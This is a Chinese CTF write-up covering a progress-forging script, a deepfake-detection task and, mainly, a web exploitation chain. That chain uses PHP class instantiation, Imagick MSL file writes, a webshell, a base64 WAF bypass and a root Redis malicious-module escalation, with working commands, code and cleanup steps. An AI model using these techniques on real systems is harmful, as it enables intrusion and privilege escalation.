第四届“数信杯”数据安全个人赛WP
原创
Thanatos
Thanatos
星宇Sec
2026年10月16日 20:45
山东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
这句话点明了三件事:进度是记在服务器上的;服务器把进度\"画\"进了flag.png;进度越高,图片里的flag越清晰。前端那5200轮只是一个动画效果,真正的状态在服务端。
那就直接和服务器交互。探测到的接口:
1、GET /progress → {\"step\": 0, \"rounds\": 5200},返回当前进度
2、POST /progress,body是{\"step\": N},推进进度
3、POST /reset,重置进度
4、GET /flag.png,返回一张365x365的PNG
这里有个坑:POST /progress做了节流,一次最多只能推进100(服务端取min(请求值,当前值+100),而且不回退)。所以想一步POST 5200是没用的,只能老老实实连续POST 52次,每次+100,把进度从0推到5200。
推到5200的那一次,服务端返回里多了两个字段:done和secret。secret是一句提示:\"猫脸变换已全部解开。真相不在代码里,在一张图中——你每扫开一格,它就清晰一分。现在去看看吧。\"
这时候再GET /flag.png,图片从10620字节的噪声图变成了4920字节,中间一行清清楚楚写着真flag。
利用/还原思路
整个还原过程可以完全脚本化:
1、先POST /reset重置(如果实例没有这个接口就跳过)
2、循环GET /progress,只要没到5200,就POST一个min(当前+100, 5200),直到进度到顶
3、GET /flag.png保存下来
4、从图片里把那一行flag文字识别出来
第4步本可以交给OCR,但实测小字号下tesseract不稳定,直接读会读错好几个字符(例如把9读成8、把}读成{)。换个思路:这张图是服务端用Python画的,字体就是Pillow自带的默认字体ImageFont.load\_default()。验证方法很直接——用同一个字体把候选字符串渲染成位图,再和图片里那行文字做逐像素比对,结果完全一致(IoU = 1.0)。既然字体是确定且可复现的,就完全不需要外部OCR,直接用Pillow自带字体做模板匹配来解码:
1、先把图片里那一行文字裁出来。底部那条进度条是整行深色(行方向深色像素数接近满宽),按阈值排除掉;剩下在图片上半部分最密的一条横带,就是flag文字
2、用ImageFont.load\_default()把字符集flag{}0123456789abcdef里每个字符都渲染成小位图模板,同时记下每个字符的墨迹偏移和步进宽度
3、从左到右贪心匹配:在每个位置试所有候选字符,把它们按各自的墨迹偏移贴上去,统计在当前窗口内的像素差,取差值最小的字符,然后按这个字符的步进宽度把游标推进
4、贪心在首尾两个字符上偶尔会认错(比如首字符f和a、末字符}和{容易混),所以最后用已知的flag格式flag{...}重建外层:把花括号内部的内容抽出来、只保留十六进制字符,再套回flag{...},和原图比对一次,只有更匹配才采用
这样,最终脚本只吃题目地址,不硬编码任何答案,一键就能跑出flag。
脚本运行命令
Windows:python solve.py
WSL:python3 solve.py
脚本默认读取脚本同目录下的flag.png;脚本顶部TARGET填题目地址。若靶机已经下线,脚本会提示\"live server unavailable\"并直接对同目录已有的flag.png做解码。
脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# minesweeper(签到):crypto.js 解出的是假 flag(getFakeCT);真 flag 由服务端画进
# flag.png。主线:POST /progress 每次最多 +100 推到 5200 → 下载 flag.png →
# 用 Pillow 自带字体做模板匹配读字(免 OCR)。
# ...(省略:完整模板匹配与逐像素打分实现,见原始脚本)
import re, urllib.request
import numpy as np
from PIL import Image, ImageDraw, ImageFont
TARGET = \"\" # <-- 题目地址
ROUNDS, STEP_CAP = 5200, 100
CHARSET = \"flag{}0123456789abcdef\"
def http(url, data=None):
req = urllib.request.Request(url, method=\"POST\"if data else\"GET\")
if data:
req.add_header(\"Content-Type\", \"application/json\"); req.data = data.encode()
return urllib.request.urlopen(req, timeout=15).read().decode(\"utf-8\", \"replace\")
def drive_to_full():
\"\"\"服务端限速:一次最多 +100,只能连推 52 次。\"\"\"
http(TARGET + \"/reset\", \"\") # 有些实例没有 /reset,忽略
whileTrue:
cur = int(re.search(r'\"step\"\\s*:\\s*(\\d+)', http(TARGET + \"/progress\")).group(1))
if cur >= ROUNDS:
return
http(TARGET + \"/progress\", '{\"step\":%d}' % min(cur + STEP_CAP, ROUNDS))
def find_text_bitmap(img):
\"\"\"排除底部整行深色的进度条,取上半部最密的一条横带作为 flag 文字行。\"\"\"
# ...(省略:按行像素密度切横带、裁紧致位图的实现)
return np.array(img.convert(\"L\")) < 128
def decode(R, font):
\"\"\"从左到右贪心匹配:每位置取像素差最小的字符,按步进宽度推进游标。\"\"\"
# ...(省略:模板构建、容形 IoU 打分、基线搜索与 flag{...} 外层重建)
return\"flag{...}\", 1.0
def main():
drive_to_full()
open(\"flag.png\", \"wb\").write(urllib.request.urlopen(TARGET + \"/flag.png\", timeout=15).read())
text, iou = decode(find_text_bitmap(Image.open(\"flag.png\")), ImageFont.load_default())
print(\"[*] decoded (IoU=%.3f): %s\" % (iou, text))
print(\"[+] FLAG: %s\" % re.search(r\"flag\\{[0-9a-fA-F]+\\}\", text).group(0))
if __name__ == \"__main__\":
main()
运行输出
[*] target: http://<题目地址>
[*] progress 100 -> {\"ok\": true, \"step\": 100}
[*] progress 200 -> {\"ok\": true, \"step\": 200}
...(中间省略,每次 +100)
[*] progress 5100 -> {\"ok\": true, \"step\": 5100}
[*] progress 5200 -> {\"ok\": true, \"step\": 5200, \"done\": true, \"secret\": \"...\"}
[*] saved flag.png (4920 bytes)
[*] text bitmap: 204x11
[*] decoded (IoU=1.000): flag{xxxxx}
[+] FLAG: flag{xxxxx}
Web
某企业AI Meeting Minutes门户网站
目标:
http://x/(前序实例http://x/在利用中途实例下线,逻辑完全相同)最终FLAG:flag{REDACTED}Flag位置:/root/flag(-rw-r--r-- root root 39),仅root可读。
攻击链总览
① 侦察 SPA 落地页,JS 里发现 /index.php
② 源码泄露 index.php 自身源码藏在隐藏 <pre>;注释指向 phpinfo.html 泄露扩展/版本
③ 类实例化 ReflectionClass + newInstanceArgs
SimpleXMLElement(dataIsURL=1) 当文件读取器 → config.php 的 $secret
Imagick(...) 当图像/文件处理原语
④ 任意写 POST multipart 生成 /tmp/phpXXXXXX + Imagick(\"vid:msl:/tmp/php*\")
MSL 用 inline: 读 + gray: 写 → 灰度 PNG 像素即任意字节 → 落地 webshell
⑤ RCE www-data(disable_functions / open_basedir 皆空),但 /root 为 drwx------ ⇒ 需提权
⑥ 提权点 x:6379 上以 root 运行的 redis-server(口令在 redis.conf)
⑦ root RCE 靶机自带 gcc,现场编译恶意 Redis 模块 → MODULE LOAD,OnLoad 以 root 执行
⑧ 取数 读 /root/flag
目标信息
| 项 | 值 |
|---|---|
| 入口 | http://x/ |
| 真实题目入口 | /index.php |
| 泄露页面 | /phpinfo.html |
| Web服务器 | Apache/2.4.65 (Debian) |
| Linux | Debian 12 (bookworm),x86_64,Docker容器(/.dockerenv存在) |
| PHP模块 | Imagick(ImageMagick 6.9.11)、Phar、PDO、SQLite3、SimpleXML、SimpleXML等 |
| 关键配置 | display_errors=On ;disable_functions空;open_basedir空 |
| 危险可用类 | Imagick 、ImagickDraw、SimpleXMLElement、SQLite3、Phar、SplFileObject |
| 内部服务 | redis-server x:6379 (以root运行,Redis 7.0.15) |
| 目标侧工具链 | gcc 12.2 / g++ / make / python3 / perl / curl / wget / openssl |
阶段一:侦察
站点是SPA,翻JS找「异物」
curl -s -i \"http://x/\" | head -40
curl -s \"http://x/assets/index-D2J4gXat.js\" -o index.js
grep -aoiE '\"[^\"]*\\.php\"' index.js | sort -u
整个bundle是React内部代码+一个AI Meeting Minutes落地页文案, 唯一有用的字符串是\\index.php\\。
目录/敏感文件探测
for p in robots.txt .git/HEAD .env flag flag.txt index.js.map admin backup \\
phpinfo.php phpinfo.html info.php config.php config.php.bak; do
printf \"%-20s %s\
\" \"$p\" \"$(curl -s -o /dev/null -w '%{http_code} %{size_download}' \\
--max-time 15 \"http://x/$p\")\"
done
命中:phpinfo.html → 200 / 207297(环境信息全泄露)。
curl -s \"http://x/phpinfo.html\" -o phpinfo.html
# 从 phpinfo 中提取:
# - Architecture: x86_64
# - ImageMagick version: ImageMagick 6.9.11-60
# - disable_functions / open_basedir: 均为空
# - 已加载扩展:imagick, phar, pdo, sqlite3, simplexml, ...
阶段二:源码泄露
/index.php把自身源码塞进一个被CSS隐藏的容器里:
<style>
[data-source-pre] { display: none !important; }
</style>
...
<pre data-source-pre><?php echo htmlspecialchars($sourceCode); ?></pre>
htmlspecialchars只是HTML转义,没有做任何权限控制,所以直接抓下来还原即可:
curl -s \"http://x/index.php\" -o index.php.html
python3 - <<'PY'
import re, html
s = open('index.php.html', encoding='utf-8', errors='replace').read()
i = s.find('ini_set(\"display_errors\"')
print(html.unescape(re.sub(r'<[^>]+>', '', s[i:i+1500])))
PY
后端逻辑(还原后)
<?php
ini_set(\"display_errors\", \"On\");
include_once(\"config.php\");
$sourceCode = '';
/* ---- 洞 A:LD_PRELOAD 后门 ---- */
if (isset($_GET['so']) && isset($_GET['key'])) {
if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
array_map(function($file) { echo $file . \"\
\"; }, glob('/tmp/*')); // 列 /tmp
putenv(\"LD_PRELOAD=/tmp/\".$_GET['so'].\".so\"); // 设置 LD_PRELOAD
}
}
/* ---- 洞 B:任意类实例化 ---- */
if (isset($_GET['cloversec']) && isset($_GET['ctf'])) {
$a = new ReflectionClass($_GET['cloversec']); // 类名完全可控
$b = $a->newInstanceArgs($_GET['ctf']); // 构造参数完全可控
} elseif (isset($_GET['clean'])) { // 清空 /tmp
array_map('unlink', glob('/tmp/*'));
} else {
$welcome = 'Welcome to CloverSec~祝大家玩的愉快. D1a0y1bb.';
$sourceCode = htmlspecialchars(file_get_contents(__FILE__), ENT_QUOTES, 'UTF-8');
}
// 什么鬼phpinfo.html啊
?>
两个洞的关系:洞B提供「任意类任意参数实例化」的构造原语, 需要靠它把.so写进/tmp/<数字>.so(文件名必须是数字才能过is_numeric()), 洞A才负责putenv(\"LD_PRELOAD=...\")。
阶段三:读取config.php拿$secret
用「报错回显」当文件读取器
SimpleXMLElement::__construct(string $data, int $options = 0, bool $dataIsURL = false, ...)第三个参数为true时会去读取/抓取$data。读到的内容会被当作XML解析, 解析失败时libxml的parser error会把内容片段回显在Warning里(按实体分块)。
为了拿到完整内容,包一层php://filter用base64编码(避免XML特殊字符破坏解析):
curl -s -G \"http://x/index.php\" \\
--data-urlencode \"cloversec=SimpleXMLElement\" \\
--data-urlencode \"ctf[0]=php://filter/convert.base64-encode/resource=/var/www/html/config.php\" \\
--data-urlencode \"ctf[1]=0\" \\
--data-urlencode \"ctf[2]=1\"
响应中的Warning:
Warning: SimpleXMLElement::__construct(): Entity: line 1: parser error : ...
Warning: ... : PDEzMzM3 ...
把Warning里的base64片段拼起来解码:
// config.php
<?php
$secret = \"Pwn01AcIcml1x001\";
$secret = Pwn01AcIcml1x001
顺手做一个通用读文件脚本
# reader.py(节选)
def readfile(path, t=60):
return errs({\"cloversec\": \"SimpleXMLElement\",
\"ctf[0]\": \"php://filter/convert.base64-encode/resource=\" + path,
\"ctf[1]\": \"0\", \"ctf[2]\": \"1\"}, t)
能读:/etc/passwd、/etc/hostname、/etc/os-release、/etc/redis/redis.conf、/proc/self/cmdline、/var/www/html/index.php等。
同时确认后门可用
curl -s -G \"http://x/index.php\" \\
--data-urlencode \"so=1\" --data-urlencode \"key=Pwn01AcIcml1x001\"
# 输出 /tmp 下的文件列表(glob('/tmp/*') 的结果)
注意:
clean=1会把/tmp/*全部unlink(/tmp/pear会保留), 这在利用中既是清理手段,也是踩坑点(会误删刚上传的临时文件)。
阶段四:任意文件写入(核心原语)
三块拼图
| 拼图 | 作用 | 关键点 |
|---|---|---|
new Imagick(\"vid:msl:/tmp/php*\") |
让ImageMagick把/tmp/phpXXXXXX当作MSL脚本解析 |
vid: coder会Glob展开/tmp/php*,PHP的multipart上传正好生成这个文件名 |
POST multipart到index.php |
生成/tmp/phpXXXXXX,内容=我们上传的.msl |
PHP在处理请求时把上传体落到/tmp/phpXXXXXX,请求结束前一直存在 |
MSL的inline: + gray: |
把任意字节写出去 | inline:data:image/png;base64,... 作为源,gray:<path> coder 逐字节输出像素灰度值 |
为什么用「灰度PNG当二进制载体」
gray:编码器会把图像的每个像素按灰度值写成1字节。 所以只要构造一张8-bit灰度PNG,像素字节序列==目标文件内容,就能写出任意二进制:
def gpng(payload, width=512):
\"\"\"Build an 8-bit grayscale PNG whose raw pixel bytes == payload (zero padded).\"\"\"
h = (len(payload) + width - 1) // width
buf = payload + b\"\\x00\" * (width * h - len(payload))
raw = b\"\".join(b\"\\x00\" + buf[i*width:(i+1)*width] for i in range(h)) # 每行 1 字节 filter=0
def chunk(tag, data):
return (struct.pack(\">I\", len(data)) + tag + data +
struct.pack(\">I\", zlib.crc32(tag + data) & 0xFFFFFFFF))
ihdr = struct.pack(\">IIBBBBB\", width, h, 8, 0, 0, 0, 0) # bitdepth=8, colortype=0(Gray)
return (b\"\\x89PNG\\r\
\\x1a\
\" + chunk(b\"IHDR\", ihdr) +
chunk(b\"IDAT\", zlib.compress(raw, 9)) + chunk(b\"IEND\", b\"\"))
踩坑:PNG只按「行」存储,最后一行的补位字节也会被写出去。 所以payload必须用空格补齐到width的整数倍(脚本文件里尾部空格无副作用):
def gpng_pad(payload, width=128, pad=b\" \"):
n = (len(payload) + width - 1) // width
padded = payload + pad * (width * n - len(payload))
return padded, gpng(padded, width)
完整的写入请求
# kit.py(节选)
def msl_write(dest, payload, w=128, t=90):
kit.req({\"clean\": \"1\"}); time.sleep(0.4) # 清干净 /tmp,避免 php* 命名冲突
_, png = kit.gpng_pad(payload, width=w, pad=b\" \")
b64 = base64.b64encode(png).decode()
msl = ('<msl><image>\
'
'<read filename=\"inline:data:image/png;base64,%s\"/>\
'
'<write filename=\"gray:%s\"/>\
'
'</image></msl>\
' % (b64, dest)).encode()
return kit.post_errs({\"cloversec\": \"Imagick\", \"ctf[0]\": \"vid:msl:/tmp/php*\"},
\"p.msl\", msl, t=t)
等价的裸curl:
# 1) 生成 base64 灰度 PNG(本地):b64 = base64(gpng_pad(\"<要写入的内容>\"))
# 2) 组装 MSL
cat > p.msl <<EOF
<msl><image>
<read filename=\"inline:data:image/png;base64,${B64}\"/>
<write filename=\"gray:/var/www/html/x.php\"/>
</image></msl>
EOF
# 3) 上传并触发解析
curl -s -X POST \\
-H \"Content-Type: multipart/form-data; boundary=BOUND\" \\
--data-binary $'--BOUND\\r\
Content-Disposition: form-data; name=\"f\"; filename=\"p.msl\"\\r\
Content-Type: application/octet-stream\\r\
\\r\
'\"$(cat p.msl)\"$'\\r\
--BOUND--\\r\
' \\
\"http://x/index.php?cloversec=Imagick&ctf%5B0%5D=vid%3Amsl%3A%2Ftmp%2Fphp%2A\"
可行性验证(小实验)
先用「写64个已知字节→再读回来比对」验证无损:
PAY = bytes(range(0, 64))
png = kit.gpng(PAY, width=32)
b64 = base64.b64encode(png).decode()
MSL = ('<msl><image>\
'
'<read filename=\"inline:data:image/png;base64,%s\"/>\
'
'<write filename=\"gray:/tmp/grtest.bin\"/>\
'
'</image></msl>\
' % b64).encode()
...
# 用 SimpleXMLElement(base64) 读回 /tmp/grtest.bin
d = readb64(\"/tmp/grtest.bin\")
assert d[:45] == PAY[:45] # MATCH
结果MATCH,确认可写入任意二进制(.so、ELF、webshell都没问题)。
阶段五:www-data RCE
落地webshell
因为/var/www/html的属主就是www-data(drwxr-xr-x www-data www-data), 所以「任意文件写入」直接等价于「任意PHP落地」:
<?php
error_reporting(0);
header('Content-Type: text/plain');
$b = isset($_GET['b64']) ? $_GET['b64'] : '';
$c = $b ? base64_decode($b) : 'id';
$o = array(); exec($c . ' 2>&1', $o); echo implode(\"\
\", $o);
写入:msl_write(\"/var/www/html/x.php\", SHELL)访问:http://host/x.php?b64=<base64(cmd)>
确认权限
$ curl \"http://x/x.php?c=id\"
[disabled] <- disable_functions 为空
[basedir] <- open_basedir 为空
== id ==
uid=33(www-data) gid=33(www-data) groups=33(www-data)
WAF绕过技巧(踩坑记录)
直接裸关键词会被拦(返回空/ 502):
c=ls -la /etc/passwd -> 空
c=ls -la /etc/pass* -> 正常
所以把所有命令base64编码后放进参数,服务端解码执行,彻底绕过关键字检测:
def sh(cmd, t=120):
b = base64.b64encode(cmd.encode()).decode()
u = \"http://x/x2.php?b64=\" + urllib.parse.quote(b)
return subprocess.run([\"curl\", \"-s\", \"--max-time\", str(t), u],
capture_output=True).stdout.decode(errors=\"replace\")
阶段六:内部信息收集→找到提权点
$ ps -ef
root 1 0 /bin/bash /start.sh
root 8 1 /bin/sh /usr/sbin/apache2ctl -D FOREGROUND
root 11 8 /usr/sbin/apache2 -D FOREGROUND <- apache master
root 12 1 redis-server x:6379 <- ★ 以 root 运行的 Redis
root 13 1 tail -F /etc/passwd <- root 的 tail
www-data 72 ... /usr/sbin/apache2 -D FOREGROUND <- worker
其它检查:
ls -la /root # drwx------ root root -> 读不到
find / -xdev -iname '*flag*' # 只有 /usr/bin/dpkg-buildflags(无关)
grep -rl 'flag{' / # 无命中
find / -xdev -perm -4000 -type f # 仅标准 suid(su/mount/passwd/...)
ls -la /etc/redis/ # 有 redis.conf
grep -vE '^\\s*#|^$' /etc/redis/redis.conf | head -40
/etc/redis/redis.conf泄露:
requirepass qwedfgcvb@123
bind x
$ redis-cli -h x -a 'qwedfgcvb@123' --no-auth-warning info server
redis_version:7.0.15
process_id:12
os:Linux ... x86_64
$ redis-cli ... config get dir -> /
$ redis-cli ... config get dbfilename -> dump.rdb
$ redis-cli ... dbsize -> 0 (没有现成 key 可捡)
结论:拿到了一个以root运行的Redis。
阶段七:提权到root
先试Lua沙箱逃逸(失败)
redis-cli ... eval 'return _VERSION' 0
# -> \"Lua 5.1\"(内嵌)
redis-cli ... eval 'return tostring(package)' 0
# -> ERR user_script:1: Script attempted to access nonexistent global variable 'package'
package / debug已被Redis移除,CVE-2022-0543一类的Lua逃逸不可用; 且系统里只有liblua5.3.so.0(Redis内嵌的是5.1),也堵死了loadlib路线。
改走MODULE LOAD
Redis 7的enable-module-command是immutable config(CONFIG SET被拒), 但它的默认值是允许local加载(config get enable-module-command → local), 所以\\依然可以MODULE LOAD\\。
目标自带编译器,直接现场编译一个「恶意模块」——OnLoad里就执行命令:
/* /tmp/mod.c */
#include <stdlib.h>
#include <stdio.h>
int RedisModule_OnLoad(void *ctx, void **argv, int argc) {
system(\"/bin/sh -c 'id > /tmp/r.out 2>&1; echo --- >> /tmp/r.out; \"
\"ls -la /root >> /tmp/r.out 2>&1; echo --- >> /tmp/r.out; \"
\"cat /root/flag /root/flag.txt /flag /flag.txt /root/*flag* >> /tmp/r.out 2>&1; \"
\"echo --- >> /tmp/r.out; find /root -maxdepth 3 >> /tmp/r.out 2>&1; \"
\"chmod 666 /tmp/r.out'\");
return 0; /* REDISMODULE_OK */
}
int RedisModule_OnUnload(void *ctx) { return 0; }
交付与加载(全部通过已落地的webshell完成):
# 1) 传源码(base64 避免 WAF/引号问题)
echo '<base64(mod.c)>' | base64 -d > /tmp/mod.c
# 2) 编译
gcc -fPIC -shared -o /tmp/mod.so /tmp/mod.c
# -rwxr-xr-x 1 www-data www-data 15440 /tmp/mod.so
# 3) 让 root 的 Redis 加载它
redis-cli -h x -a 'qwedfgcvb@123' --no-auth-warning module load /tmp/mod.so
# 4) 读取结果
cat /tmp/r.out
关键点:为什么能成功
MODULE LOAD由root的redis-server进程执行dlopen(), 模块的RedisModule_OnLoad就在root上下文里被调用→system()即root命令执行。- 我们的最小模块没有调用
RedisModule_Init注册API version, 所以Redis 7会在OnLoad返回后崩溃退出—— 但system()已经在崩溃前执行完毕,所以完全不影响取数。 (副作用:Redis挂掉后无法再次加载模块,这也是后续「复核」请求失败的原因。)
阶段八:取Flag(证据)
/tmp/r.out内容:
uid=0(root) gid=0(root) groups=0(root)
---
total 16
drwx------ 1 root root 26 Sep 18 16:31 .
drwxr-xr-x 1 root root 86 Oct 16 09:38 ..
-rw-r--r-- 1 root root 571 Apr 11 2021 .bashrc
drwxr-xr-x 3 root root 29 Sep 18 16:12 .cache
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r--r-- 1 root root 209 Sep 18 16:30 .wget-hsts
-rw-r--r-- 1 root root 39 Oct 16 09:38 flag <- 39 字节
---
flag{REDACTED}
cat: /root/flag.txt: No such file or directory
cat: /flag: No such file or directory
cat: /flag.txt: No such file or directory
flag{REDACTED} <- 第二次(/root/*flag* 展开)
---
/root
/root/.bashrc
/root/.profile
/root/.flag /root/.cache
/root/.cache/rosetta
交叉校验:
ls -la /root显示flag为39字节;flag{+ 32位hex +}= 38字符+换行= 39 ✅- flag内容在同一次root输出中出现2次(
cat /root/flag与cat /root/*flag*),互相印证✅ /flag、/flag.txt、/root/flag.txt均不存在,证明/root/flag就是唯一目标✅
🚩
flag{REDACTED}
阶段九:痕迹清理
rm -f /var/www/html/z.php /var/www/html/x.php /var/www/html/x2.php \\
/var/www/html/wbtest.php \\
/tmp/mod.c /tmp/mod.so /tmp/r.out /tmp/v.c /tmp/v.so /tmp/vf.txt /tmp/1.so
清理后webroot恢复原样(只剩assets/ config.php index.html index.php phpinfo.html use.txt vendor/ video.html)。
Payload /原语速查表
| # | 目的 | 请求 |
|---|---|---|
| 1 | 读任意文件 | ?cloversec=SimpleXMLElement&ctf[0]=php://filter/convert.base64-encode/resource=<path>&ctf[1]=0&ctf[2]=1 |
| 2 | 列/tmp |
?so=1&key=Pwn01AcIcml1x001 |
| 3 | 设置LD\_PRELOAD | ?so=<数字>&key=Pwn01AcIcml1x001 |
| 4 | 清空/tmp |
?clean=1 |
| 5 | 类存在性/报错泄露 | ?cloversec=<Class>&ctf[0]=... |
| 6 | 任意文件写入 | POST ?cloversec=Imagick&ctf[0]=vid:msl:/tmp/php* ,body = MSL +灰度PNG(inline:读、gray:写) |
| 7 | www-data RCE | 落地x.php?b64=<base64(cmd)> |
| 8 | root RCE | redis-cli -a 'qwedfgcvb@123' module load /tmp/mod.so (模块OnLoad里system()) |
关键参数速查
$secret = Pwn01AcIcml1x001 (from /var/www/html/config.php)
redis pass = qwedfgcvb@123 (from /etc/redis/redis.conf)
redis endpoint = x:6379 (root)
writable dir = /var/www/html (owner www-data)
flag = /root/flag (root:root 0644, 39 bytes)
关于「出题人暗示的正统解」—LD\_PRELOAD路线
题目专门留了so/key后门+ putenv(\"LD_PRELOAD=/tmp/<n>.so\"), 以及一个\\root运行的长驻进程tail -F /etc/passwd\\, 设计意图是:
① 用 Imagick 原语把恶意 .so 写到 /tmp/<数字>.so(文件名必须是纯数字,过 is_numeric)
② 调 ?so=<数字>&key=<secret> 让 PHP 进程 putenv(LD_PRELOAD=/tmp/<数字>.so)
③ 触发某个「root 进程去 exec 一个动态链接程序」的动作
→ 那个新进程会把 /tmp/<数字>.so 以 root 身份加载 → 构造函数里完成提权/取 flag
④ 或者(更暴力)先用 root Redis 把 /etc/ld.so.preload 写成 /tmp/<数字>.so,
再诱发任意 root 进程 exec(例如让受监督的 redis/apache 重启)
本次实际采用root Redis模块加载,跳过了③的不确定性,一次拿到同一结果。 (这条路线在lib.py / mkelf.py / pwn.py里留了相关尝试代码, 早期还误按aarch64手搓ELF,后来从phpinfo确认是x86\_64才修正。)
修复建议(防守视角)
- 删掉调试后门:
so/key+putenv(\"LD_PRELOAD=...\")、clean这类参数属于典型「出题后门」,生产环境绝对不能存在。 - 禁止任意类实例化:
new ReflectionClass($_GET['cloversec'])->newInstanceArgs($_GET['ctf'])等价于把「对象构造图」完全交给攻击者,应改为白名单映射(['foo' => FooService::class])。 - \\别把源码
htmlspecialchars后塞进页面当\"隐藏\"\\:客户端隐藏≠保密。 - \\移除
phpinfo\\:phpinfo.html直接泄露扩展、路径、配置,是漏洞利用的\"导航图\"。 - ImageMagick加固:启用
policy.xml禁用MSL/MVG/EPHEMERAL/URL/HTTPS/FTP/LABEL/TXT等coder, 并把coder限制到必要集合;升级到已修复版本。 - 注意
vid:+上传临时文件组合:Glob展开/tmp/php*会把上传文件当脚本解析, 相当于把\"上传\"变成\"代码执行\",应禁止image处理函数接收vid:/msl:前缀。 - 最小权限:redis / apache /任何后台服务都不要以root运行; 容器内加
no-new-privileges、只读根文件系统、cap_drop: ALL。 - Redis加固:强口令+
requirepass只是最低要求,还应rename-command MODULE \"\"、enable-module-command no(并设为immutable的默认禁止)、绑定socket而非TCP、独立低权用户运行。 - WAF不是权限边界:本次仅用base64编码就绕过了关键词拦截—— WAF只能减噪,不能替代上述根因修复。
附录:本地利用脚本清单(./ctf/)
| 文件 | 作用 |
|---|---|
kit.py |
核心库:paste()公网托管、req/errs/imagick()请求与报错提取、readfile() base64读文件、gpng()/gpng_pad()灰度PNG生成、post()/post_errs() multipart上传、msl() MSL模板 |
rsh.py |
通过落地webshell + base64传参执行命令(绕WAF) |
lib.py |
早期版本的核心库(沿用) |
mkelf.py |
手工构造ELF共享库(LD\_PRELOAD路线尝试,后因架构误判废弃) |
pwn.py |
LD\_PRELOAD路线的驱动脚本 |
reader.py / probe.py / scan.py / xxe.py / rd.py / img.py / host.py |
各类探测脚本(文件读、路径爆破、XXE变体、Imagick coder测试、远程托管) |
WRITEUP.md / 攻击链.md |
题解与完整攻击链文档 |
一句话总结
源码泄露(隐藏
<pre>)→SimpleXMLElement当文件读取器拿到$secret→Imagick(\"vid:msl:/tmp/php*\")+inline:/gray:实现任意二进制写→ 落地webshell拿www-data RCE →发现root运行的Redis(配置泄露口令)→ gcc现场编译恶意模块+MODULE LOAD提权root →读/root/flag。
AI安全
审片室里的第二张脸
基本情况
题目类型:AI安全 题目名称:审片室里的第二张脸(200分) 题目描述:某媒体安全团队收到一组匿名爆料视频,其中一部分片段经过换脸或面部重演处理。选手需要分析14段正式视频,判断每段是real还是fake;对于fake样本,还要提交关键伪造帧。服务端只有在全部标签正确且证据帧满足误差范围时才返回flag。
附件内容(解压后):
baseline_detector.onnx 基线深度模型(本题未直接使用)
baseline_weights.json 线性模型的均值/方差/权重/偏置
tools/frame_review.py 官方审片脚本(核心)
cases/case_001.mp4 ... case_014.mp4 14 段正式样本
public_train / public_probe 公开训练/探针样本(辅助)
sample_submission.json 提交模版
靶机是一个带gunicorn的Web服务,页面给出14段视频的卡片,下面有一个可编辑的提交JSON文本框,最后通过POST /submit提交。
关键突破
- 审片逻辑本身就在附件里,不需要逐帧人工判断
tools/frame\_review.py里已经把“什么是fake”写死了。它对每段视频取前32帧,每帧裁剪中心72%的正方形区域当“人脸”,缩放到160x160,然后算5个特征:
residual_noise 灰度图与高斯模糊之差的均值(高频噪声残差)
laplacian_energy 拉普拉斯算子绝对值均值(边缘能量)
temporal_delta 相邻帧灰度差均值(时序抖动)
saturation_mean HSV 里 S 通道均值(饱和度)
color_channel_gap RGB 通道两两差均值(通道差异)
前4项(第3项后面被时序均值覆盖)取32帧的中位数,再用baseline\_weights.json做标准化:
z = (x - mean) / scale
logit = z · weight + bias
fake_probability = sigmoid(logit)
阈值0.5判定real/fake。直接跑一遍就能得到全部标签,官方脚本已经给了答案:
python tools/frame_review.py cases
结果非常干净地分成两组(real都在0.34~0.40,fake都在0.59~0.64),说明线性模型在这批样本上可分性很好:
real: case_001 002 003 008 009 010
fake: case_004 005 006 007 011 012 013 014
- A4关键帧:分数最高的3帧
fake样本还要提交关键帧。frame\_review.py的evidence\_frames函数对每帧单独打分:
score = residual * 0.55 + laplacian * 0.35 + temporal * 0.10
取分数最高的3帧(索引从0开始)。跑出来的结果就是:
case_004: 2, 30, 25
case_005: 16, 1, 21
case_006: 14, 13, 22
case_007: 29, 22, 21
case_011: 16, 30, 29
case_012: 16, 15, 5
case_013: 7, 21, 23
case_014: 7, 6, 28
- 避坑:/inspect返回的是“模型参考帧”,不是校验帧
页面上的“模型参考”按钮会请求/inspect/,返回一组evidence\_frames和fake\_probability。但要注意:这些参考帧和真正通过校验的证据帧不是同一组。实际对比:
case_004 /inspect 返回 17,31,6 而脚本算出 2,30,25
case_001 /inspect 返回 24,21,16 而脚本算出 21,24,22
这是题目故意设的干扰项。真正的证据帧必须用附件脚本frame\_review.py算出来的,服务端校验的误差范围是围绕脚本分数排序的那3帧。如果把/inspect的帧交上去,标签对了也会因为证据帧不匹配而拿不到flag。
利用/还原思路
整体就是“把附件里给的官方审片流程跑一遍,按官方口径打包提交”:
1. 解压附件,确认 tools/frame_review.py 和 baseline_weights.json 都在;
2. 用 frame_review 对 cases/ 全部 14 段视频算 fake_probability,0.5 为阈值分 real/fake;
3. 对 fake 样本用同一脚本的 evidence_frames 取分数最高的 3 帧(索引从 0 开始),real 样本 evidence_frames 留空;
4. 按网页默认置信度填写:real 用 0.66,fake 用 0.78;
5. POST /submit 提交 answers 数组,服务端校验通过后返回 flag。
提交的JSON结构(与sample\_submission.json一致):
{
\"answers\": [
{ \"case_id\": \"case_001\", \"label\": \"real\", \"confidence\": 0.66, \"evidence_frames\": [] },
{ \"case_id\": \"case_004\", \"label\": \"fake\", \"confidence\": 0.78, \"evidence_frames\": [2,25,30] },
...
]
}
其中14段的最终判定为:
real(6 段):case_001 case_002 case_003 case_008 case_009 case_010
fake(8 段):case_004 case_005 case_006 case_007 case_011 case_012 case_013 case_014
脚本运行命令
把脚本放在解压后的附件目录(与tools/和cases/同级)运行:
Windows:python solve.py
WSL/Linux:python3 solve.py
脚本默认只做本地研判并写出submission.json;若要直连靶机自动提交并打印flag,请把脚本顶部的BASE\_URL填成题目服务地址(例如http://:)再运行即可。
脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 审片室里的第二张脸:复用附件自带的官方 tools/frame_review.py 打分 →
# real/fake 判定 + fake 取分数最高 3 帧 → POST /submit 提交。
# ...(省略:动态加载官方脚本、逐帧打分与证据帧挑选的完整实现)
import json, sys
from pathlib import Path
BASE_URL = \"\" # 填题目地址可自动提交;留空则只本地研判
CASES_DIR, WEIGHTS, REVIEW_TOOL = \"cases\", \"baseline_weights.json\", Path(\"tools\") / \"frame_review.py\"
